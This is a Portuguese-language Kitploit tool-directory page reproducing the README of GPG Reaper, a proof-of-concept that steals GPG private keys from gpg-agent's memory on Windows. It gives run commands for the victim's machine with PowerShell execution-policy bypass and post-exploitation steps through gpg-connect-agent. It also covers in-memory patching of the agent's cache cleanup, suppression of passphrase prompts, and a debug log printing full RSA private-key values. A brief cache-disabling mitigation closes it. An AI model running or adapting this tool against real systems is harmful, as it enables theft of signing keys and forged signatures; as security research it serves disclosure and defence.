Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
gpg_reaper — GPG Reaper - Obter/Roubar/Restaurar Chaves Privadas GPG da cache/memória do gpg-agent | Kitploit
Ferramentas/GitHubGitHub/kacperszurek/gpg_reaper
Forensia de MemóriaExploraçãoPós-ExploraçãoTestes de Penetração
GitHubkacperszurek/gpg_reaper

gpg_reaper

GPG Reaper - Obter/Roubar/Restaurar Chaves Privadas GPG da cache/memória do gpg-agent

Ver Repositório
9611há 8 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

GPG Reaper

TL;DR: Obter/Roubar/Restaurar Chaves Privadas GPG do cache/memória do gpg-agent

Logotipo do GPG Reaper

Este POC demonstra um método para obter chaves privadas GPG da memória do gpg-agent no Windows.

Normalmente isso só deveria ser possível dentro de um intervalo de 10 minutos (valor --default-cache-ttl).

Infelizmente a função housekeeping() (responsável pela limpeza do cache) só é executada se você estiver usando GPG (não há um cronômetro lá).

Isso significa que em um caso de uso normal do GPG como: você assina um arquivo, depois fecha a GUI e faz outra tarefa sua senha ainda está na memória do gpg-agent (mesmo que o ttl tenha expirado).

Um atacante que tenha acesso à sua sessão atual pode usar isso para roubar a chave privada sem saber sua senha.

AVISO: O GPG mudará o mecanismo de cache na versão 2.2.6. Verifique o commit e a issue.

Implementação do Gpg Reaper

Sumário

  • Installation
  • Test
  • Introduction
  • Usage
  • Post exploitation on machine with GPG
  • Bypass private key export restriction
  • Conclusion
  • Implementation
  • Supported versions
  • FAQ
  • Attribution

Instalação

root@kitploit:~
pip install PGPy

Se você obteve:

root@kitploit:~
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:

então:

root@kitploit:~
pip install six==1.10.0

Teste

  1. Instale o Gpg4Win 3.0.3

  2. Abra o prompt de comando e inicie o agente com tempo de cache de 2 segundos:

root@kitploit:~
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
  1. Execute o Kleopatra e gere um novo par de chaves

Gerar chave GPG

  1. Assine um arquivo de teste de exemplo

Assinar arquivo de teste

  1. O Pinentry aparecerá e solicitará sua senha

Pinentry

  1. Repita os passos 4-5. Cada vez que o pinentry aparece porque nosso cache de 2 segundos expirou

  2. Execute o GPG reaper

root@kitploit:~
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt

Você verá algo como:

root@kitploit:~
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid           [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes

Como você pode ver, despejamos a chave. Isso é possível porque neutralizamos (nop) a função housekeeping.

  1. Restaure a chave privada:
root@kitploit:~
python gpg_reaper.py .\testme.txt

A chave privada é despejada no arquivo:

root@kitploit:~
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>

Introdução

GPG-Agent é um serviço para gerenciar chaves privadas independentemente de qualquer protocolo.

A interface GUI se comunica com o agente usando o Protocolo Assuan.

Por padrão, o agente armazena em cache suas credenciais.

A opção --default-cache-ttl n define o tempo de validade de uma entrada de cache para n segundos.

O padrão é 600 segundos. Cada vez que uma entrada de cache é acessada, seu temporizador é reiniciado.

No Windows, o processo de assinatura é assim:

Processo de Assinatura

A parte crucial aqui é a função housekeeping() que é responsável por remover credenciais expiradas da memória.

Mas há um problema: esta função é executada apenas em dois lugares (dentro de agent_put_cache e agent_get_cache).

Isso significa que as credenciais em cache NÃO são removidas da memória até que alguns comandos do gpg-agent que usam agent_put_cache ou agent_get_cache ou agent_flush_cache sejam executados.

Uso

No computador da vítima:

root@kitploit:~
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt

Transfira out.txt para sua máquina e restaure as chaves privadas:

root@kitploit:~
gpg_reaper.py out.txt

As chaves privadas serão despejadas em arquivos separados.

Se o GPG estiver instalado fora dos diretórios padrão:

root@kitploit:~
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

Se você não quiser mensagens de depuração:

root@kitploit:~
Gpg-Reaper -Verbose $false

Pós-exploração em máquina com GPG

Vamos supor que você está realizando testes de penetração e obtém um shell em um computador com GPG instalado.

Se você tiver sorte e o usuário usou GPG recentemente e o cache não expirou, você pode:

  1. Assinar um arquivo:

Execute c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

  • Obter lista de chaves disponíveis na máquina específica
root@kitploit:~
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
  • Definir keygrip e hash da mensagem
root@kitploit:~
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
  1. Exportar chave privada:

Execute c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

  • Obter chave de encapsulamento
root@kitploit:~
KEYWRAP_KEY --export
  • Exportar uma chave secreta do armazenamento de chaves. A chave será criptografada usando a chave de encapsulamento da sessão atual com o algoritmo AESWRAP-128
root@kitploit:~
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2

Infelizmente isso não funciona como esperado e solicita senha.

Por quê? Porque a função cmd_export_key() executa agent_key_from_file() com a flag CACHE_MODE_IGNORE, o que significa que o cache não será usado e o usuário é solicitado a fornecer a senha toda vez.

Bypass da restrição de exportação de chave privada

Sabemos que não é possível exportar a chave GPG através do gpg-agent sem saber a senha.

Mas há uma pequena peculiaridade aqui. O agente possui algumas opções disponíveis:

  1. --debug-level

Selecione o nível de depuração para investigar problemas. level pode ser um valor numérico ou uma palavra-chave:

guru - Todas as mensagens de depuração que você pode obter.

  1. --log-file file

Anexa todas as saídas de log ao arquivo. Isso é muito útil para ver o que o agente realmente faz.

Vamos executar o agente usando gpg-agent.exe --daemon --debug-level guru --log-file out.txt e assinar um arquivo.

root@kitploit:~
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))

Parece que o modo guru imprime os números n, e, d, p, q e u no arquivo de log. Sabendo disso, podemos calcular a chave pública e privada.

Internamente, o valor skey é impresso por gcry_log_debugsxp() quando DBG_CRYPTO está definido:

root@kitploit:~
if (DBG_CRYPTO)
{
  gcry_log_debugsxp ("skey", s_skey);
  gcry_log_debugsxp ("hash", s_hash);
}

Conclusão

Se você quiser se proteger contra este ataque, precisa desabilitar o cache.

Crie/modifique: %APPDATA%\gnupg\gpg-agent.conf:

root@kitploit:~
default-cache-ttl 0
max-cache-ttl 0

Implementação

  1. Verifique se os caminhos de gpg-connect-agent.exe, gpg-agent.exe e gpg.exe estão corretos

  2. Verifique se o sha256 de gpg-agent.exe é suportado

  3. Verifique se o processo gpg-agent.exe está em execução e abra-o usando OpenProcess

  4. Start-Job que mata todas as instâncias do processo pinentry. Assim, quando solicitarmos uma chave que não está em cache, podemos continuar sem interação do usuário

  5. Leia os bytes originais de housekeeping() e agent_pksign_do() para que possamos restaurá-los após a execução do script

  6. Neutralize (NOP) a função housekeeping() para que ela não remova o cache expirado da memória NOP housekeeping

JMP addr

  1. Execute o seguinte comando usando gpg-connect-agent.exe:
root@kitploit:~
SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
  1. Verifique se o arquivo de log contém os números n, e, d, p, q e u. Se sim, retorne-os ao usuário.

  2. Repita os pontos 8-11 para cada chave do ponto 7

Agora, usando a biblioteca PGPy, podemos restaurar a chave privada. Veja: gpg_reaper.py

Versões suportadas

O gpg-agent é compilado sem ASLR, então uso alguns offsets fixos no script PowerShell.

Por isso, apenas as versões especificadas são suportadas:

Versãogpg-agent.exe sha256
3.0.3D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A
3.0.23FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8

FAQ

  1. Por que PowerShell?

Porque este arquivo pode ser executado sem dependências externas na maioria dos sistemas Windows modernos.

  1. GPG %file% não existe

gpg-connect-agent.exe, gpg-agent.exe ou gpg.exe não existe no local padrão.

Você pode tentar especificar um local personalizado usando:

root@kitploit:~
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
  1. Nenhum gpg-agent em execução

gpg-agent.exe não está em execução neste sistema, portanto não podemos restaurar a chave privada.

  1. Versão do gpg-agent desconhecida, sha256:

Atualmente este script suporta apenas versões específicas

  1. Nenhuma chave em cache

Não há chave em cache na memória, portanto não podemos restaurar a chave privada.

Atribuição

Ícone de foice criado por Freepik de www.flaticon.com.

Fonte Solstice Of Suffering por GraveTech.

Baixar ferramenta
  • Obtenha a lista de todas as chaves privadas disponíveis usando gpg.exe --list-secret-keys --with-keygrip

  • Obtenha a chave pública usando gpg.exe --armor --export %key_fingerprint%

  • Aloque memória dentro do gpg-agent.exe usando VirtualAllocEx. Armazene o caminho para o nosso arquivo de log lá e chame log_set_file().

  • Substitua if (DBG_CRYPTO) pela chamada para nossa memória alocada do ponto 9 dentro de agent_pksign_do().

  • 3.0.1BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE
    3.0.0C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC